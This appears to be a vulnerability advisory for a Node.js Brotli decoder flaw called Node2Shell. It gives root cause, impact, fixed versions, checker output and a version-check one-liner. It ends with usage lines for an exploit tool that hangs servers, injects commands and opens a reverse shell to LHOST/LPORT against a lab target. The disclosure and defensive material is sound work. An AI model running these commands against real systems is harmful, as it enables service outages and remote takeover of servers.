---

📋 Table of Contents

• Executive Summary
• Technical Deep Dive
  • Root Cause Analysis
  • Attack Vectors
  • Impact Assessment
• Affected & Fixed Versions
• Detection & Audit
• Remediation & Patching
  • Native Runtime Upgrade
  • Docker / Container Layer Fix
• Mitigation Strategies
• References & Resources
• Disclaimer

---

📌 Executive Summary

Disclosed in October 2026, Node2Shell (CVE-2026-111497) is a critical security vulnerability affecting the native Brotli decompression component bundled directly inside the Node.js runtime binary.

The flaw allows remote attackers to execute arbitrary code or crash the application by submitting specially crafted, malformed Brotli-compressed byte streams to any Node.js application that processes compressed input (e.g., HTTP request body parsers, native fetch() calls, or WebSocket streams).

⚠️ CRITICAL NOTE: Because the vulnerable code resides within deps/brotli compiled into the Node.js executable itself, updating user-space npm dependencies will not mitigate this vulnerability. The Node.js binary runtime must be updated.

---

⚙️ Technical Deep Dive

Root Cause Analysis

• Flaw Type: Out-of-Bounds Write (CWE-787) resulting from an Unchecked Return Value (CWE-252).
• Vulnerable Component: Upstream Google Brotli decoder module integrated into Node.js (deps/brotli).
• Mechanism: When decompressing a malformed stream, the decoder fails to properly validate boundary conditions during stream state transitions. This leads to heap-buffer corruption beyond the pre-allocated memory space.

Attack Vectors

1. Inbound HTTP Requests: Frameworks and middleware (e.g., Express, Fastify) configured with automatic body decompression (Content-Encoding: br).
2. Outbound / Inbound Fetch API: Native fetch() processing automated responses from untrusted third-party endpoints serving compressed content.
3. Internal Stream Pipelines: Custom Node.js streams utilizing zlib.createBrotliDecompress().

Impact Assessment

• Denial of Service (DoS): Reliable execution of segmentation faults (SIGSEGV) causing worker processes to crash immediately.
• Information Disclosure: Uncontrolled heap reads exposing sensitive tokens or environment variables cached in process memory.
• Remote Code Execution (RCE): Demonstrated heap memory corruption leading to full control over process execution flow on standard unmodified container deployments.

---

📊 Affected & Fixed Versions

Node.js Release Line	Status	Fixed Version	Action Required
Node.js 26.x	⚠️ Vulnerable	>= 26.12.1	Upgrade immediately
Node.js 24.x	⚠️ Vulnerable	>= 24.22.1	Upgrade immediately
Node.js 22.x (LTS)	⚠️ Vulnerable	>= 22.23.4	Upgrade immediately
Node.js 20.x & Older	❌ EOL	None	Migrate immediately to supported LTS

🚨 EOL Alert: Node.js 20 reached End-of-Life (EOL) in April 2026. Official security backports are not available for EOL versions.

---

Safe Check Script

Here’s exactly what you should see when the safe checker works correctly.

1. Patched / Fixed Node.js (good result)

$ node node2shell-check.js

=== Node2Shell (CVE-2026-111497) Safe Checker ===
Local version + constant probe only. No network, no payloads.

Current Node.js version : v24.22.1
Brotli constant present : yes (-17) → patched decoder

───────────────────────────────────────────────────────
Verdict: PATCHED
You are running a fixed release of the 24.x line.

Additional notes:
• The constant check is the most reliable signal when Node.js ships
  its own (statically linked) Brotli. On some Linux distros Node may
  use the system libbrotli – then you must also check the system package.
• Updating npm packages alone does NOT fix this issue.
• After upgrading, restart every Node.js process / container.
• Official fixed versions: 22.23.4 · 24.22.1 · 26.12.1

2. Vulnerable Node.js (bad result)

$ node node2shell-check.js

=== Node2Shell (CVE-2026-111497) Safe Checker ===
Local version + constant probe only. No network, no payloads.

Current Node.js version : v24.22.0
Brotli constant present : no / missing → likely vulnerable decoder

───────────────────────────────────────────────────────
Verdict: VULNERABLE
Upgrade to Node.js 24.22.1 or later in the 24.x line.

Additional notes:
• The constant check is the most reliable signal when Node.js ships
  its own (statically linked) Brotli. On some Linux distros Node may
  use the system libbrotli – then you must also check the system package.
• Updating npm packages alone does NOT fix this issue.
• After upgrading, restart every Node.js process / container.
• Official fixed versions: 22.23.4 · 24.22.1 · 26.12.1

3. End-of-life version (also vulnerable)

Current Node.js version : v20.18.0
Brotli constant present : no / missing → likely vulnerable decoder

Verdict: VULNERABLE (EOL / UNSUPPORTED)
This release line is end-of-life or never received the security fix.
Migrate to a supported LTS line (22.x, 24.x or 26.x) and use a patched version.

---

Quick way to confirm the constant yourself

You can also run this one-liner:

node -p "require('zlib').constants.BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH ?? 'missing'"

• Returns -17 → patched
• Returns missing → vulnerable

That’s the same check the script uses.

---

Lab setup

# Python dependencies
pip install requests brotli

# Node server (webhook injection + eval paths)
npm install
node server-stock.js       # port 3000

Usage

# Real CVE trigger — hang a Node.js HTTP server (Content-Encoding: br)
python3 Node2Shell.py -u http://TARGET:3000 --hang --path /api/data --timeout 10

# Webhook injection — command injection via execSync(hook) (stock server)
python3 Node2Shell.py -u http://TARGET:3000 --webhook --validate
python3 Node2Shell.py -u http://TARGET:3000 --webhook --cmd "id"
python3 Node2Shell.py -u http://TARGET:3000 --webhook --revshell LHOST LPORT

# OOB write stream — 13-byte COMMAND_BEGIN trigger + spray via streaming brotli
python Node2Shell.py -u http://TARGET:3000 --oob --path /api/data